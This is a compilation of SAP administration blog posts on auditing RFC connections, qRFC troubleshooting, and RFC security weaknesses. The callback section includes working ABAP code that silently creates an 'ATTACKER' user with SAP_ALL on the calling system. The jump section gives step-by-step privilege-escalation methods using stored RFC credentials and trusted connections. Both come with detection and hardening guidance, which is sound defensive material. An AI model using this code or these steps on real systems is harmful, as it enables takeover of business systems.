Security teams might request to you as basis administrator: which RFC calls are being made to and from your ABAP system? And you need to know which users and applications are calling on RFC.
Questions that will be answered in this blog are:
Which users and systems are calling my ABAP system using RFC?
Which programs and processes are using RFC?
How much data is transferred using RFC?
If you need to check HTTP usage in your ABAP system: read this blog.
RFC statistics in ST03
Go to transaction ST03N or ST03, and open the total for this month. Then open the analysis view for RFC statistics. First check the WEB Client Statistics:
This already gives a lot of information: function modules and amount of data. On the tabs for Transaction, User and Remote destinations, Remote servers and Local servers you can get even more details you need for RFC transaction source.
On all 6 tabs on all 4 reports you can double click to get more details:
What workload is caused by the function modules, transactions, or users (depending on the selected RFC profile, as the RFC client or the RFC server)?
Program RSRFCCHK (which also has the same transaction code RSRFCCHK) can quickly scan all your RFC’s. In the selection screen, please make sure to select the 2 extra boxes for “Also check RFC destinations without explicit password” and the “Select destinations without target system too”:
The connection test is optional. But if the RFC is not working, then you might consider it old and no longer needed. In this case you can perform the clean up by deleting the RFC.
The output of the report RSRFCCHK, you can use to look for:
RFC’s with personal user ID
Cross system layer RFC’s (from production to development, or from development to production)
Trusted connections where you don’t expect them
Old destinations no longer in use
As a best practice at least yearly check on every system the RFC's that are setup there. Read this blog on how easy it is to use wrongly configured RFC's to hack a system.
Check trusted connections
To check trusted connections run program RS_SECURITY_TRUST_RELATIONS. Output example:
The red lights should be investigated and fixed.
More on setting up trusted RFC’s is written in this blog.
This blog will give tips and trick on the basis part of qRFC (queued RFC).
Questions that will be answered are:
How to assign a specific server group to qRFC?
How to correct host ID in SMQS?
What to do with the scheduler error RES_LACK?
What to do when inbound entries in SMQ2 stay in status RETRY?
How to check performance of qRFC?
How to check consistency of qRFC?
How can I activate the application log to detect manual actions performed on qRFC?
Assigning specific server group for qRFC
In RZ12 you have defined a specific server group. In SMQR or SMQS you can assign that server group with menu option Edit / Change AS group:
How to correct host ID in SMQS?
After a system copy the host ID in SMQS might be still pointing to the old system. To solve this, goto SM51 and select menu option Goto / Host Name Buffer / Reset / Entire System. Then go back to SMQS and re-activate the scheduler via menu option Edit / Activate Scheduler. See also OSS note 2377064 – How to correct the host ID in SMQS.
When inbound entries in SMQ2 queue remain in status RETRY, this is normally caused by lack of authorization for launching batch job. This can happen to background user and user reprocessing the jobs. Check the authorization trace to see what needs to be fixed. More background in OSS note 1862256 – Inbound queues (SMQ2) stay in status RETRY.
Queue in the inbound queue scheduler SMQ2 with “Name or password is incorrect (repeat logon)”
qRFC is very important in EWM systems. In EWM systems there is a built in program for alerting on qRFC failures: /SCWM/R_QRFC_QUEUE_ALERT. More on this feature you can read in OSS note 2226372 – EWM – Alerting for Failed Queues.
When you start transaction SM59 for setting up RFC connections, you might see the red icon telling you RFC callback check not secure.
This blog will explain you following:
How can a hacker exploit this RFC callback weakness?
How to make the RFC callback secure?
What is the difference between RFC callback simulation and intervention?
What to do in case of a valid use of RFC callback?
RFC callback hacking in action
What the RFC callback does is basically firing back function modules to the sender. These modules are then executed on the originating system with the privileges of the original caller.
If an attacker has gained access to one system and modifies code that is called from another system it can fire commands to the other system with the privileges of the caller.
In the example below the attacker has altered the standard RFC_PING function module (code snippet is below). He then convinces a high privilege admin of the target system to remotely call and ping the compromised system for example by asking the admin to do a connection test in SM59 (which calls the RFC_PING module). The callback code is fired against the target system and is run with the user ID of the admin (not of the attacker) of the target system.
Code snippet of modified RFC_PING:
Call module to create user on destination ‘BACK’ and set the password.
Assign the privilege SAP_ALL (highest available privilege)
DATA: ZLV_BAPIBNAME TYPE SY-UNAME.
DATA: ZLS_BAPILOGOND TYPE BAPILOGOND.
DATA: ZLV_BAPIPWD TYPE XUNCODE.
DATA: ZLS_BAPIADDR3 TYPE BAPIADDR3.
DATA: ZLT_BAPIRET2 TYPE TABLE OF BAPIRET2.
DATA: ZLS_BAPIPROF TYPE BAPIPROF.
DATA: ZLT_BAPIPROF TYPE TABLE OF BAPIPROF.
ZLV_BAPIBNAME = 'ATTACKER'.
ZLS_BAPILOGOND-USTYP = 'A'.
ZLV_BAPIPWD = 'Welcome_in1!'.
ZLS_BAPIADDR3-LASTNAME = 'Attacker'.
CALL FUNCTION 'BAPI_USER_CREATE1' DESTINATION 'BACK'
USERNAME = ZLV_BAPIBNAME
LOGONDATA = ZLS_BAPILOGOND
PASSWORD = ZLV_BAPIPWD
ADDRESS = ZLS_BAPIADDR3.
ZLS_BAPIPROF-BAPIPROF = 'SAP_ALL'.
APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
ZLS_BAPIPROF-BAPIPROF = 'SAP_NEW'.
APPEND ZLS_BAPIPROF TO ZLT_BAPIPROF.
CALL FUNCTION 'BAPI_USER_PROFILES_ASSIGN' DESTINATION 'BACK'
USERNAME = ZLV_BAPIBNAME
PROFILES = ZLT_BAPIPROF
RETURN = ZLT_BAPIRET2.
If the admin executes the ping towards the compromised system he will see this screen:
The only suspicious part the admin might see is the slightly longer logon time (in which the callback is executed).
End result on target system: ATTACKER user created by ADMIN user.
With the privileges:
This is one example. There are many different creative ways in which a callback RFC can be misused.
Detection of the RFC callbacks
RFC callback actions are registered in the SAP audit log if they are configured. The default classification is warning for RFC callback.
Audit log trace for the above action looks as follows:
How to make the RFC callback secure?
The SAP system parameter rfc/callback_security_method (set it in RZ11) is determining the RFC callback behavior.
rfc/callback_security_method set to 1 means basically “do nothing”. This is the insecure default setting and it will result into the red traffic light on SM59 RFC connection setup screen.
rfc/callback_security_method set to 2 means “simulation active”. With this setting entries are written to the audit log (for setup of the audit log see this blog). This setting is still insecure!
It can be used on a productive system to see which callbacks are coming in and do analysis before switching to 3 (fully secure, but immediate interception).
Make sure in the audit log, that the simulation is captured:
Simulate for a while, and the generate the white list (or positive list):
rfc/callback_security_method set to 3 means that the system will do interfception of RFC callback methods. This is the secure setting. The SM59 RFC connection traffic light will now show green:
Callback positive lists
In some cases an RFC callback is used with a good intention and reason. These exceptions can be put into the callback positive list. Per RFC on the Logon & security tab you can activate the combination of called and called back function modules.
If you have enabled the audit log, you can use it to generate RFC callback positive lists. In SM59 select the option: RFC / Generate RFC Callback Positive List.
Check to apply OSS note 2863851 – RFC Callback Positive Lists not created.
This blog will explain the SAP system hacking using RFC jump method. It will show the simplicity of the hack, and tell you what to do in preventing this method to be used on your SAP system.
Question that will be answered:
How does the RFC jump SAP system hack work?
How do I check all my RFC’s for this weakness?
What can I do to prevent this hack from happening on my system?
RFC jump hack background
SAP uses RFC connections between SAP systems to send and received business data. For example the BI system will pull data from the ECC system via an RFC connection. The SAP solution manager system is fed from the ECC system via an RFC connection. Or a SAP netweaver gateway system serving SAP FIORI tiles.
In the RFC setup the system admin will have to set the connection details and its logon method. The logon methods can be:
Current user via logon screen
Current user via trust logon screen
Fixed user ID: dialog user ID or background user ID
The first method with logon screen will prompt for user ID and password and is not useful for hacking.
The trusted connection will check the rights in the other SAP system using your own user ID and privileges.
The RFC’s with fixed user ID’s will use the user ID and privileges of the user ID in the RFC connection and also using password entered by the admin. So you don’t even need to know the password…..
3 methods of misusing the RCF jump
3 methods of misusing the RFC jump will be explained. All of the scenario’s start from a already compromised system.
You have gained access to an SAP system, which in first instance is less important. For example by using standard SAP passwords (see blog on this topic).
1. Using the weakness to jump from one system to another: named dialog users in RFC
Now you start to scan the RFC’s of this server in SM59.
You notice that there is an RFC to another system which has the user ID and password of the system admin. You now simply click the remote logon button and you jump to the other system.
You are logged on now into this system with the user ID and privileges of this other user ID. From this system you can even jump further.
This way you could go from a development to productive server. Or from a BI to an ECC server. Or from Solution manager to ECC productive server.
2. Using the weakness to jump from one system to another: named background users in RFC
The jump will not work if the user ID in the RFC is a background user ID. One example here is the ALEREMOTE user in ECC, which is used by the BI system to extract data from ECC. Since this user has to pull a lot of data and is needing a lot of privileges this user ID is sometimes given SAP_ALL privileges.
If this is the case the hacker can still misuse this RFC. In the hacked system he goes to transaction SE37 and creates a test function module sequence consisting of 2 calls: BAPI_USER_CHANGE and BAPI_TRANSACTION_COMMIT.
The first call will have the input to change user ID ALEREMOTE user type from B (background) to type A (dialog). The commit is needed to actually confirm and push the change to the database. Once the sequence is setup the hacker will use the test function to fire the sequence. In the testing the hacker will put in the RFC with the ALEREMOTE user. Now this sequence will be fired with the privileges of the ALEREMOTE user (it has SAP_ALL). So it will then itself change its own user type remotely…. After this is done the dialog jump will work from the remote system and the hacker comes into the system with user ALEREMOTE and the attached SAP_ALL rights.
3. Using the weakness to jump from one system to another: trusted RFC’s
If you have taken over one system and you see a trusted RFC towards another system this can be misused for hacking.
But you need extra information. If you know the user ID of the admin in the system target, set up the user ID in the system already taken over, or if already there reset password. Then logon in the taken over system with the admin user ID. Goto SM59 to the trusted connection. Click remote logon and you jump to the other system without having to logon, but with the user ID and privileges of the admin.
Protection is possible by a series of actions (a single action will not be sufficient):
Access restriction. Restriction of access to SU01 user management and SM59 RFC setup. Not only on main systems, but also on connected trusted systems.
Remove SAP_ALL and user rights from background and RFC users.
At least yearly scan systems for wrongly setup RFC’s and delete them.
Instruct basis team never to put in their own account into an RFC connection.
The most though misunderstanding is with some security and control teams themselves. They heavily underestimate the danger of the trusted connections. They come with statements like “we focus on production only”, or “that system is not part of our compliance XYZ framework check”.
Basic golden principle:The trusted system must have same protection level and control measures as the system it is connected to.
More RFC hacking: RFC callback hack
Next to the RFC attack methods above there is also the RFC callback hack, which uses the back direction to execute malicious actions. Read more in this blog.